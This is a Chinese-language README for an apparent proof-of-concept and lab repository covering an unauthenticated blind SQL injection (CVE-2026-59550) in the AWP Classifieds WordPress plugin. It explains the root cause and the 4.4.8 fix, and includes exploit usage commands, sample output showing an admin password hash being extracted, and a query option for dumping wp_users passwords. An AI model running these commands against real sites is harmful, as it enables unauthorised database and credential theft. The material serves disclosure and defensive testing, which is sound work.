| CVE | CVE-2026-59550 |
| 插件 | AWP Classifieds (another-wordpress-classifieds-plugin) |
| 受影响版本 | <= 4.4.7 |
| 修复版本 | 4.4.8 |
| 类别 | SQL 注入(OWASP A3: 注入) |
| 权限 | 未认证 |
| CVSS v3.1 | 9.3 (High) |
| 触发点 | AWPCP_BasicRegionsAPI::save() - includes/regions-api.php |
| 报告者 | Thaer Assfour(通过 Patchstack) |
| 公告 | https://patchstack.com/database/wordpress/plugin/another-wordpress-classifieds-plugin/vulnerability/wordpress-awp-classifieds-plugin-4-4-7-sql-injection-vulnerability |
AWPCP_BasicRegionsAPI::save() 将用户提供的 regions 数组的键名直接传入 $wpdb->insert() / $wpdb->update()。WordPress 会用反引号包裹列名,但不会对其进行转义,因此包含反引号的键名可以突破标识符边界并注入任意 SQL。regions 数组直接取自 $_POST,只要启用了访客广告发布(requireuserregistration = 0,默认值),整个调用链就可在未认证的情况下被触发。
4.4.8 中的修复添加了显式的列允许列表(filter_region_columns())以及针对提交区域的字段允许列表(prepare_submitted_region())。
.
├── README.md # 本文件
├── docs/
│ └── WRITEUP.md # 完整技术分析
├── exploit/
│ ├── exploit.py # 未认证盲 SQLi PoC
│ └── requirements.txt
├── lab/
│ ├── docker-compose.yml # WordPress 6.8 + MariaDB 11,漏洞版 + 修复版
│ ├── setup.sh # 部署插件、启动、配置两个站点
│ └── teardown.sh # 移除容器 + 卷 + 已部署文件
└── patches/
├── 4.4.8-regions-api.diff # 安全修复(单文件)
└── 4.4.7-to-4.4.8-full.diff # 完整版本差异
要求:Docker + Docker Compose、Python 3 及 requests、unzip。
# 1. 构建并配置一次性实验环境(仅需 Docker)
cd lab
./setup.sh /path/to/another-wordpress-classifieds-plugin.4.4.7.zip \
/path/to/another-wordpress-classifieds-plugin.4.4.8.zip
# -> 漏洞版 (4.4.7): http://localhost:8080/?page_id=8
# -> 修复版 (4.4.8): http://localhost:8090/?page_id=8
# 2. 运行 PoC
cd ../exploit
python3 -m pip install -r requirements.txt
python3 exploit.py http://localhost:8080 # 应显示 VULNERABLE
python3 exploit.py http://localhost:8090 # 应显示 PATCHED
# 3. 清理所有内容
cd ../lab && ./teardown.sh
setup.sh 接受两个插件压缩包作为参数,或通过 AWP447_ZIP / AWP448_ZIP 环境变量传入;若未提供,则回退到 ~/Downloads/<slug>.4.4.7.zip 和 ~/Downloads/<slug>.4.4.8.zip。这些压缩包不会提交到此仓库——原始 WordPress 核心和插件副本仅存在于 lab/html-*/ 中,并已被 git 忽略。
[*] target : http://localhost:8080
[+] anonymous listing=17 transaction=e40d5a20c91e22db865cb6612f5c2908 nonce=f59eb541e1
[*] probing time-based oracle
[+] target is VULNERABLE to unauthenticated blind SQL injection
[+] admin / $wp$2y$10$AcAkM9QXI8OnCEEdht5G.eMnUX5y6Esb2BTEPN
[*] extracting data without authentication
[+] DBMS version : 11.8.9-MariaDB
[+] first WP user : admin
使用显式查询提取任意数据:
python3 exploit.py http://localhost:8080 \
--query "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1" \
--maxlen 60
该 PoC 是一个基于时间的预言机,因此不需要 SQL 输出回显,可在完全盲注的目标上工作。
// includes/regions-api.php (4.4.7)
public function save( $region ) {
...
$result = $this->db->insert( AWPCP_TABLE_AD_REGIONS, $region ); // keys -> SQL identifiers
}
完整污点分析、请求追踪、生成 SQL 证明及修复讨论请参见 docs/WRITEUP.md。
requireuserregistration = 1 和/或阻止 awpcp_save_listing_information / awpcp_create_empty_listing AJAX 操作。本材料仅供防御性安全研究、教育和授权测试使用。请勿将其用于您不拥有或未获得明确书面许可进行测试的系统。实验环境完全容器化且可随时销毁。